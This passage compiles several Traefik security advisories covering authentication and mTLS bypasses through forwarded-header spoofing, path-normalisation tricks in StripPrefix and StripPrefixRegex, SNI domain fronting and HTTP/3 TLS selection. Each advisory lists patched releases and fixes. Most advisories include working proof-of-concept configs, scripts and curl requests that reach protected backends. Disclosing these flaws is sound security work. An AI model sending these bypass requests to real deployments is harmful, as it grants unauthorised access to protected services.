This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.
PoC The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.
1. Create traefik.toml:
toml [entryPoints] [entryPoints.web] address = ":80" [entryPoints.web.forwardedHeaders] trustedIPs = ["172.31.79.0/24"]
[providers] [providers.file] filename = "/etc/traefik/dynamic.toml" watch = false
[log] level = "DEBUG"
[accessLog]
2. Create dynamic.toml:
toml [http.routers] [http.routers.app] entryPoints = ["web"] rule = "Host(app.local) && PathPrefix(/forbidden)" middlewares = ["strip-forbidden", "authz"] service = "backend"
[http.middlewares] [http.middlewares.strip-forbidden.stripPrefix] prefixes = ["/forbidden"]
[http.middlewares.authz.forwardAuth] address = "http://auth:8000/check" trustForwardHeader = false authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]
[http.services] [http.services.backend.loadBalancer] [[http.services.backend.loadBalancer.servers]] url = "http://backend:80"
3. Create auth.py:
python import json from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler): def doGET(self): if not self.path.startswith("/check"): self.sendresponse(404) self.endheaders() return
prefixes = self.headers.getall("X-Forwarded-Prefix") or [] first = prefixes[0] if prefixes else "" payload = { "path": self.path, "firstprefix": first, "allprefixes": prefixes, "xforwardedfor": self.headers.getall("X-Forwarded-For") or [], } print(json.dumps(payload), flush=True)
if first == "/admin": self.sendresponse(200) self.sendheader("X-Auth-First-Prefix", first) self.sendheader("X-Auth-All-Prefixes", "|".join(prefixes)) self.endheaders() self.wfile.write(b"authorized\n") return
self.sendresponse(403) self.sendheader("Content-Type", "application/json") self.endheaders() self.wfile.write(json.dumps(payload).encode() + b"\n")
HTTPServer(("0.0.0.0", 8000), Handler).serveforever()
4. Create frontend.conf:
nginx server { listen 80; accesslog /dev/stdout;
location / { proxyhttpversion 1.1; proxypass http://traefik:80; proxysetheader Host $httphost; proxysetheader X-Forwarded-For $proxyaddxforwardedfor; } }
5. Start the containers:
bash docker network create --subnet 172.31.79.0/24 traefik-readme-net
docker run -d --name traefik-readme-backend \ --network traefik-readme-net \ --network-alias backend \ traefik/whoami
docker run -d --name traefik-readme-auth \ --network traefik-readme-net \ --network-alias auth \ -v "$PWD/auth.py:/app/auth.py:ro" \ -w /app \ python:3.12-alpine \ python /app/auth.py
docker run -d --name traefik-readme-traefik \ --network traefik-readme-net \ --network-alias traefik \ -p 18081:80 \ -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \ -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \ traefik:v3.6.12
docker run -d --name traefik-readme-frontend \ --network traefik-readme-net \ -p 18080:80 \ -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \ nginx:alpine
6. Send three requests:
Direct to Traefik, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18081/forbidden/test
Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}
Through trusted proxy, no spoofing: bash curl -sS -i \ -H 'Host: app.local' \ http://127.0.0.1:18080/forbidden/test
Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}
Through trusted proxy, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18080/forbidden/test
Observed result: http HTTP/1.1 200 OK ... X-Auth-All-Prefixes: /admin|/forbidden X-Auth-First-Prefix: /admin X-Forwarded-Prefix: /admin X-Forwarded-Prefix: /forbidden
The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.
7. Optional log confirmation from the auth service:
bash docker logs traefik-readme-auth
Observed log sequence: json {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/admin", "allprefixes": ["/admin", "/forbidden"], ...}
8. Cleanup:
bash docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend docker network rm traefik-readme-net
Impact This is an authentication bypass / trust-boundary bypass.
Affected deployments are those that:
- run Traefik behind a trusted upstream proxy - use ForwardAuth - rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers - pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty - make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.
</details>
----
Summary
There is a high severity authentication bypass vulnerability in Traefik's ForwardAuth and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., X-Forwarded-Proto) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., XForwardedProto). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary An authentication bypass arises from chaining two bugs: incomplete forwarded-header sanitization at ingress and overly permissive header forwarding in pre-auth subrequests. While canonical X-Forwarded- headers are handled, alias variants (e.g., underscore forms) are neither normalized nor stripped consistently. When downstream auth services normalize these headers, attackers can inject trusted context and bypass authentication on protected routes without credentials.
Details This issue results from the interaction between forwarded-header handling and auth subrequest construction, creating a trust boundary mismatch.
At ingress, Traefik defines a fixed set of canonical forwarded headers (X-Forwarded-Proto, X-Forwarded-For, etc.):
Reference : pkg/middlewares/forwardedheaders/forwardedheader.go#L29-L36
go var xHeaders = []string{ xForwardedProto, xForwardedFor, xForwardedHost, xForwardedPort,
This logic focuses exclusively on canonical header names and does not account for alias forms such as XForwardedProto. As a result, while standard headers may be sanitized or rewritten, semantically equivalent variants can pass through unchanged.
During ForwardAuth processing, request headers are copied wholesale into the auth subrequest:
Reference : pkg/middlewares/auth/forward.go#L401-L408
go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)
This implementation forwards nearly all client-supplied headers to the auth backend, with filtering limited to hop-by-hop headers. There is no normalization or deduplication between canonical and alias header forms, meaning attacker-controlled headers can reach the auth service intact.
A similar pattern exists in snippet-based auth:
Reference : pkg/middlewares/ingressnginx/snippet/snippet.go#L574-L581
go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)
Again, headers are forwarded without enforcing a consistent trust model or canonicalization.
The vulnerability emerges when the auth backend normalizes header names (e.g., treating XForwardedProto and X-Forwarded-Proto equivalently). In that case:
- Traefik sanitizes only canonical headers. - Alias headers remain attacker-controlled. - The auth service merges or evaluates these aliases during normalization. - Trust predicates (e.g., scheme = HTTPS, trusted host) are satisfied using spoofed values.
This allows a single crafted request to simultaneously bypass ingress trust enforcement and satisfy authentication checks, resulting in unauthorized access to protected backends.
PoC
1. Configure a protected route using ForwardAuth or snippet-based auth, with an auth backend that normalizes header names (underscore ↔ dash). 2. Send a control request (expected: denied):
http GET / HTTP/1.1 Host: target.local User-Agent: poc-control Connection: close
3. Send an exploit request with alias headers (expected: allowed):
http GET /protected HTTP/1.1 Host: app.example.local XForwardedProto: https XForwardedHost: trusted.example Connection: close
Impact This vulnerability allows unauthenticated attackers to bypass authentication at the proxy-to-auth boundary by injecting spoofed trust context through header aliases. In deployments where authorization decisions depend on forwarded headers, attackers can access protected endpoints and interact with backend services as if they were fully authenticated. This effectively undermines ForwardAuth and similar mechanisms, potentially exposing sensitive internal functionality and data.
Suggested Remediation 1. Strip and regenerate both canonical and alias forms of forwarded headers consistently at ingress and during auth subrequests. 2. Apply a unified normalization policy across all forwarded header families (including RFC7239 and X-Forwarded-). 3. Restrict which headers are forwarded to auth services (prefer explicit allowlists). 4. Add regression tests covering alias normalization inconsistencies across common backend frameworks.
</details>
---
Summary
There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.
The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).
ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content
An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.
### Details
pkg/middlewares/stripprefixregex/stripprefixregex.go, line 62:
go req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])
prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present.
Example with regex ^/api:
- GET /api%20/admin/secret - Decoded Path: /api /admin/secret -> prefix = /api (4 bytes) - Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes - RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/ -> allows it - Backend serves the protected admin content
PoC
Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful.
Impact
Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL.
---
Updated PoC (reporter follow-up)
After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.
Chain:
GET /api%2e/admin/secret -> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret -> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows -> Express normalizes /./admin/secret -> /admin/secret -> serves protected content
Results (Traefik v3.6, unmodified Express.js express.static):
GET /api/admin/secret -> 403 (blocked) GET /api%2e/admin/secret -> 200 (bypass — served protected content) GET /api%20/admin/secret -> 404 (space not normalized by backend)
Auth server logs:
X-Forwarded-Uri: '/admin/secret' -> DENIED X-Forwarded-Uri: '/./admin/secret' -> ALLOWED
Reproduction:
bash docker compose up -d --build --wait curl http://localhost:8080/api/admin/secret # -> 403 curl --path-as-is "http://localhost:8080/api%2e/admin/secret" # -> 200
</details>
---
Summary
There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary
A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.
A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.
This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.
This report specifically affects StripPrefix.
Affected Versions Tested
| Image | Observed Version | Result | |---|---|---| | traefik:v2.11 | v2.11.46 | Affected | | traefik:v3.6 | v3.6.17 | Affected | | traefik:latest | v3.7.1 | Affected |
Lab Contrast
| Image | Result | |---|---| | traefik:v2.10 | Not reproduced in lab | | traefik:v3.5 | Not reproduced in lab |
Vulnerable Configuration Pattern
The issue appears when:
- a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths
yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend
protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend
middlewares: strip-api: stripPrefix: prefixes: - /api
auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services: backend: loadBalancer: servers: - url: http://backend:9000
Observed Behavior
Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed | |---|---|---| | GET /admin | Blocked | 401 | | GET /internal/config | Blocked | 401 |
Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed | |---|---|---| | GET /api/admin | Not routed to protected backend path | 404 | | GET /api/internal/config | Not routed to protected backend path | 404 |
Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives | |---|---|---| | GET /api../admin | 200 | /admin | | GET /api%2e%2e/admin | 200 | /admin | | GET /api../internal/config | 200 | /internal/config | | GET /api%2e%2e/internal/config | 200 | /internal/config |
Minimal PoC
docker-compose.yml
yaml services: traefik: image: traefik:v3.7 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:8080 - --accesslog=true ports: - "127.0.0.1:18080:8080" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro dependson: - backend
backend: image: python:3.12-slim workingdir: /app command: python backend.py volumes: - ./backend.py:/app/backend.py:ro expose: - "9000"
dynamic.yml
yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend
protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend
middlewares: strip-api: stripPrefix: prefixes: - /api
auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services: backend: loadBalancer: servers: - url: http://backend:9000
backend.py
python from http.server import BaseHTTPRequestHandler, HTTPServer import json
class Handler(BaseHTTPRequestHandler): def logmessage(self, fmt, args): return
def json(self, status, obj): body = json.dumps(obj).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def doGET(self): if self.path == "/admin": self.json(200, { "seenpath": self.path, "secret": "ADMINSECRETREACHED" }) elif self.path == "/internal/config": self.json(200, { "seenpath": self.path, "secret": "TRAEFIKLABINTERNALCONFIG" }) elif self.path == "/admin/exec": self.json(200, { "seenpath": self.path, "rcechainmarker": True, "note": "protected execution endpoint reached" }) else: self.json(404, { "seenpath": self.path, "secret": None })
HTTPServer(("0.0.0.0", 9000), Handler).serveforever()
poc.py
python #!/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ]
for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
Run
bash docker compose up -d python3 poc.py
Expected Vulnerable Output
text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seenpath=/admin /api%2e%2e/admin 200 backend seenpath=/admin /api../internal/config 200 backend seenpath=/internal/config /api%2e%2e/internal/config 200 backend seenpath=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached
Root Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin
The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.
The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.
Security Impact
An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.
Potential impact includes:
- Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive
In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.
This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.
Suggested Severity
Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.
text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.
If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:
text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.
Weakness
Primary CWE:
- CWE-863: Incorrect Authorization
Related weakness candidates:
- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize - CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Mitigation Verified in Lab
The bypass was blocked when using a stricter prefix boundary:
text PathRegexp(^/api(/|$))
or:
text PathPrefix(/api/) with StripPrefix(/api/)
Relation to Existing Advisories
This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.
This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.
Reporter
WonYun / kyun0
</details>
Summary
There is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's SNICheck domain-fronting protection ignores wildcard TLSOptions mappings. A wildcard router such as Host(".example.com") can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send Host: api.example.com / HTTP request authority api.example.com to reach the wildcard-protected backend.
This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP Host header.
For HTTP/2, this corresponds to the request authority / Host value as exposed to Traefik's HTTP request handling.
Details
For the v3 rule-syntax / file-provider path used in this PoC, wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The SNICheck middleware does not.
The router build records TLS option names for host rules:
go domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule) // ... tlsOptionsForHost[domain] = tlsOptionsName
The HTTPS forwarder then installs SNI routes:
go rule := fmt.Sprintf(HostSNI(%q), sniHost)
HostSNI matching is wildcard-aware:
go return muxer.DomainMatchHostExpression(meta.serverName, hostExpr)
But pkg/middlewares/snicheck/snicheck.go resolves the host's TLS option name with exact lookups only:
go func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string { name := findTLSOptName(tlsOptionsForHost, host, fqdn) if name != "" { return name }
name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn) if name != "" { return name }
return traefiktls.DefaultTLSConfigName }
func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string { if tlsOptions, ok := tlsOptionsForHost[host]; ok { return tlsOptions }
if !fqdn { return "" }
if last := len(host) - 1; last >= 0 && host[last] == '.' { if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok { return tlsOptions }
return "" }
if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok { return tlsOptions }
return "" }
There is no wildcard matching step for entries such as .example.com. As a result, Host: api.example.com can be classified as using default TLS options even though the router matched a wildcard host with stricter TLSOptions.
Preconditions:
- A protected router uses wildcard Host / HostSNI with router-specific TLSOptions. - The protected wildcard router uses stricter TLS options, such as RequireAndVerifyClientCert. - Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate. - The client can send an HTTP Host header different from the TLS SNI.
Relationship to my previous HTTP/3 report:
I previously submitted a related HTTP/3 mTLS bypass involving Router.GetTLSGetClientInfo() and exact/case-sensitive SNI lookup.
This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by SNICheck resolving tlsOptionsForHost with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / Host header targets a wildcard-protected backend.
Relationship to public issue #12349:
This is related to public issue #12349, where wildcard hosts were observed to be classified as default by SNICheck, causing unexpected 421 Misdirected Request responses in some wildcard setups:
text TLS options difference: SNI:https-ext@file, Header:default
The public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP Host header, both sides can be classified as default, so SNICheck does not return 421. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy.
Related wildcard SNICheck behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.
Minimal dynamic configuration:
yaml http: routers: protected: rule: Host(.example.com) service: protected tls: options: mtls
public: rule: Host(public.example.net) service: public tls: {}
services: protected: loadBalancer: servers: - url: http://protected:80
public: loadBalancer: servers: - url: http://public:80
tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key
options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert
Minimal Docker Compose:
yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro dependson: - protected - public
protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED
public: image: traefik/whoami:v1.11 command: - --name=PUBLIC
Certificate generation:
bash rm -rf certs mkdir -p certs
openssl req -x509 -newkey rsa:2048 -nodes -days 7 \ -keyout certs/ca.key \ -out certs/ca.crt \ -subj "/CN=traefik-poc-ca"
openssl req -newkey rsa:2048 -nodes \ -keyout certs/server.key \ -out certs/server.csr \ -subj "/CN=public.example.net" \ -addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:.example.com"
openssl x509 -req \ -in certs/server.csr \ -CA certs/ca.crt \ -CAkey certs/ca.key \ -CAcreateserial \ -out certs/server.crt \ -days 7 \ -sha256 \ -copyextensions copyall
PoC
Start Traefik with the configuration above.
Test environment:
- Traefik images tested: v3.7.0, v3.7.1 - Backend image: traefik/whoami:v1.11 - Client: curl with HTTPS/HTTP2 support - EntryPoint: TCP port 8443 exposed locally - Provider: file provider
Control 1: the permissive public route works normally and reaches the public backend:
bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/
Observed result:
text HTTP/2 200 Name: PUBLIC Host: public.example.net:8443
Control 2: direct access to the wildcard-protected host without a client certificate is blocked:
bash curl --noproxy '' --http2 -skv \ --resolve api.example.com:8443:127.0.0.1 \ https://api.example.com:8443/
Observed result:
text TLS alert ... certificate required
Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:
bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ \ -H 'Host: api.example.com'
Observed result:
text HTTP/2 200 Name: PROTECTED Host: api.example.com
The curl verbose output shows that the HTTP/2 request authority / Host value is api.example.com, while the TLS SNI is taken from the URL host public.example.net:
text [HTTP/2] [1] [:authority: api.example.com] Host: api.example.com
Expected result:
text HTTP/2 421 Misdirected Request
Traefik should return 421 Misdirected Request because the HTTP Host header resolves to the wildcard route's mtls TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.
Negative control with exact host:
Replacing the protected router rule with exact Host("api.example.com") while keeping tls.options=mtls causes the same domain-fronting request to be rejected:
yaml http: routers: protected: rule: Host(api.example.com) service: protected tls: options: mtls
Run the same request:
bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ \ -H 'Host: api.example.com'
Observed result:
text HTTP/2 421 Misdirected Request
This shows that the bypass depends on wildcard TLSOptions resolution in SNICheck, not on a generic failure of the domain-fronting check.
Regression test used during validation:
bash go test ./pkg/middlewares/snicheck \ -run TestSNICheckWildcardTLSOptionsCurrentBehavior \ -count=1
Version matrix observed with Docker images:
text v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup v3.7.0: affected v3.7.1: affected
Impact
Deployments that use wildcard router TLSOptions for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.
The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by tls.options=mtls on the wildcard route.
A possible fix would be for SNICheck to resolve tlsOptionsForHost using the same wildcard-aware host matching semantics used by the router / HostSNI matching, rather than exact map lookups only.
Possible workarounds until a fix is available:
- Avoid wildcard router TLSOptions for mTLS access control. - Enumerate exact protected hostnames instead of using wildcard Host rules. - Enforce mTLS in the default TLS options as well. - Avoid mixing permissive and mTLS-protected hosts on the same entrypoint. - Block or reject domain-fronted requests at another layer.
</details>
---
Summary
There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., .example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's HTTP/3 TLS configuration selection can ignore router-specific TLSOptions and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with Router.GetTLSGetClientInfo(), which performs a direct, case-sensitive map lookup on hostHTTPTLSConfig[info.ServerName].
This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive Host rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:
1. Host(".example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one. 2. Host("api.example.com") with tls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as API.EXAMPLE.COM reaches the protected backend without one.
Confirmed versions:
- wildcard HTTP/3 bypass: v3.7.0, v3.7.1 - exact-host mixed-case HTTP/3 bypass: v3.6.17, v3.7.0, v3.7.1
Details
HTTP/3 installs a QUIC TLS callback in pkg/server/serverentrypointtcphttp3.go:
go h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient}, }
The callback is wired to the TCP router's TLS selector:
go func (e http3server) Switch(rt tcprouter.Router) { e.lock.Lock() defer e.lock.Unlock()
e.getter = rt.GetTLSGetClientInfo() }
The selector in pkg/server/router/tcp/router.go only performs an exact map lookup:
